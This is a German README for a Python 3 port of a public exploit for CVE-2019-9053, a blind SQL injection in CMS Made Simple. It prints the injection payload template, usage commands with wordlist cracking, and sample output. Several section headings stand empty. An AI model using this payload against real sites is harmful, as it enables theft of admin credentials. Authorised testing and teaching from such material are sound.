CVE-2019-9053 — CMS Made Simple SQLi-Exploit (Python 3)

Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Bildungszwecke gedacht. Der Einsatz gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Übersicht

Dies ist ein Python-3-Port des öffentlichen Exploits für CVE-2019-9053 — eine nicht authentifizierte zeitbasierte Blind-SQL-Injection-Schwachstelle in CMS Made Simple ≤ 2.2.9.

Der verwundbare Parameter ist m1_idlist auf dem Endpunkt /moduleinterface.php (News-Modul). Die Benutzereingabe wird unbereinigt in eine SQL-Abfrage übernommen, wodurch ein nicht authentifizierter Angreifer das Admin-Salt, den Benutzernamen, die E-Mail-Adresse und den Passwort-Hash extrahieren kann — und optional das Passwort offline knacken kann.

Ursprünglicher Exploit von Daniele Scanu @ Certimeter Group.
Python-3-Port mit Korrekturen und Bereinigung.

Funktionsweise

Der Exploit nutzt ein Timing-Orakel — er injiziert SELECT sleep(T) in eine SQL-LIKE-Bedingung und misst die HTTP-Antwortzeit. Wenn der Server ≥ T Sekunden verzögert, war die injizierte Bedingung wahr. Dadurch können Daten Zeichen für Zeichen extrahiert werden, ohne dass jemals Daten im HTTP-Antworttext erscheinen.

Payload-Struktur:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(bekanntes_präfix+vermutung)}25
            +and+user_id+like+0x31)+--+

Extraktionsreihenfolge:

Nach der Extraktion berechnet der optionale Offline-Wörterbuchangriff MD5(salt + wort) gegen eine Wortliste — keine weiteren Netzwerkanfragen erforderlich.

Python-3-Änderungen

Das ursprüngliche Skript wurde für Python 2 geschrieben. Die folgenden problematischen Änderungen wurden behoben:

Anforderungen

pip3 install requests termcolor

Verwendung

# Grundlegende Extraktion (ohne Passwort-Knacken)
python3 exploit.py -u http://<ziel-ip>/simple

# Extraktion + Offline-Passwort-Knacken
python3 exploit.py -u http://<ziel-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

Optionen

Beispielausgabe

[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

CVE-Details

Referenzen

• NVD — CVE-2019-9053
• Original-Exploit — Exploit-DB #46635
• CMS Made Simple

Rechtliches

Dieser Exploit wird ausschließlich für autorisierte Penetrationstests und CTF-/Bildungszwecke bereitgestellt.
Die unbefugte Verwendung gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Testgenehmigung hast, ist eine Straftat gemäß dem IT Act, 2000 (Indien) und entsprechenden Gesetzen weltweit.